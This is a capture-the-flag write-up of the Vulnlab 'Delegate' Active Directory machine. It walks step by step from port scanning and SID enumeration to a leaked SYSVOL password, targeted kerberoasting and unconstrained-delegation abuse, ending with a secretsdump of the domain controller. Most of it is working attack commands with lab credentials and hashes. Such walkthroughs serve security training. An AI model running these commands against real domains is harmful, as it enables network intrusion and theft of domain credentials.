6 KiB
Vulnlab - Delegate
Host is up (0.22s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec
135/tcp open msrpc Microsoft Windows RPC
139/tcp open tcpwrapped
445/tcp open tcpwrapped
464/tcp open tcpwrapped
3389/tcp open tcpwrapped
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Issuer: commonName=DC1.delegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-30T15:47:02
| Not valid after: 2024-03-31T15:47:02
| MD5: 3a340b861cd985281f509d995bef9f4a
|_SHA-1: ccc740dd30a643bfc26e0b7f5d018da28d7e1630
5985/tcp open
9389/tcp open tcpwrapped
47001/tcp open tcpwrapped
49667/tcp open tcpwrapped
49669/tcp open tcpwrapped
49670/tcp open tcpwrapped
49686/tcp open tcpwrapped
49691/tcp open tcpwrapped
Enumerating smb with anonymous user doesn't show any intereting shares
We can however enumerate domain users with lookupsid
using a guest account by brute forcing SIDs
lookupsid.py guest@delegate.vl 10000
Having the domain users, we can check if there's any account having pre-authentication disabled which can lead to AS-REP roasting
Checking the shares and accessing SYSVOL
share, we can find users.bat
file having a password
Spraying this password on the users we have confirms that this password belongs A.Briggs
Running python-bloodhound
to enumerate the domain
python3 bloodhound.py -d 'delegate.vl' -u 'A.Briggs' -p 'P4ssw0rd1#123' -c all -ns 10.10.70.255
From bloodhound we can see `A.Briggs` has `GenericWrite` on `N.thompson`
This can abuse either through Shadow credentials
or associating a SPN to N.Thompson for Targeted kerberoasting
, I tried with shadow credentials by editing msDS-KeyCredentialLink
but due to PKINT notbeing supported by this DC it didn't worked
python3 /opt/targetedKerberoast/targetedKerberoast.py -u 'A.Briggs' -p 'P4ssw0rd1#123' --request-user N.Thompson -d 'delegate.vl'
Cracking the hash with hashcat
Since n.thompson has CanPSRemote
we can login through WinRM
This user belongs to Delegation Admins
but there wasn't ACLs on bloodhound for that group
Checking privileges of this user shows that it has SeEnableDelegationPrivilege
enabled
This means that we can abuse unconstrained delegation by creating machine account and append a SPN to it, before that we need to make sure if machine quota isn't 0
First creating a machine account with `addcomputer.py`addcomputer.py -dc-ip 10.10.70.255 -computer-pass TestPassword321 -computer-name UwU delegate.vl/N.Thompson:'KALEB_2341'
Adding dns record for the machine account we created
python3 dnstool.py -u 'delegate.vl\UwU$' -p TestPassword321 -r UwU.delegate.vl -d 10.8.0.136 --action add DC1.delegate.vl -dns-ip 10.10.70.255
Adding a DNS entry for this machine account with dnstool
python3 dnstool.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -r UwU.delegate.vl -d 10.8.0.136 --action add DC1.delegate.vl -dns-ip 10.10.85.247
To abuse unconstrained delegation the machine needs to have a SPN and TRUSTED_FOR_DELEGATION
UAC, using bloodyAD
we can add the UAC
python3 /opt/bloodyAD/bloodyAD.py -u 'N.Thompson' -d 'delegate.vl' -p 'KALEB_2341' --host 'DC1.delegate.vl' add uac 'UwU$' -f TRUSTED_FOR_DELEGATION
Appending SPN with addspn
via msDS-AdditionalDnsHostName
python3 ./addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/UwU.delegate.vl' -t 'UwU$' -dc-ip 10.10.85.247 DC1.delegate.vl --additional
python3 ./addspn.py -u 'delegate.vl\N.Thompson' -p 'KALEB_2341' -s 'cifs/UwU.delegate.vl' -t 'UwU$' -dc-ip 10.10.85.247 DC1.delegate.vl
Now running `krbrelayx` by first coercing authentication (using any poc i.e petipotam, printerbug, dfscoerce ) from DC1 to our added machine with unconstrained delegation enabled, this will grab the copy of DC1's TGT which gets stored in the memory of machine account having trusted for delegation enabled for the purpose of accessing resources
python3 PetitPotam.py -u 'UwU$' -p 'TestPassword321' UwU.delegate.vl 10.10.85.247
And running krbrelayx with NThash of the machine account
python3 ./krbrelayx.py -hashes :C7BE3644A2EB37C9BB1F248E9E0B9AFC
Having the ticket, we can export it and dump the hashes with secretsdump
secretsdump.py 'DC1$'@DC1.delegate.vl -k -no-pass
References
- https://www.thehacker.recipes/a-d/movement/dacl/targeted-kerberoasting
- https://exploit.ph/user-constrained-delegation.html
- https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
- https://github.com/CravateRouge/bloodyAD
- https://medium.com/r3d-buck3t/attacking-kerberos-unconstrained-delegation-ef77e1fb7203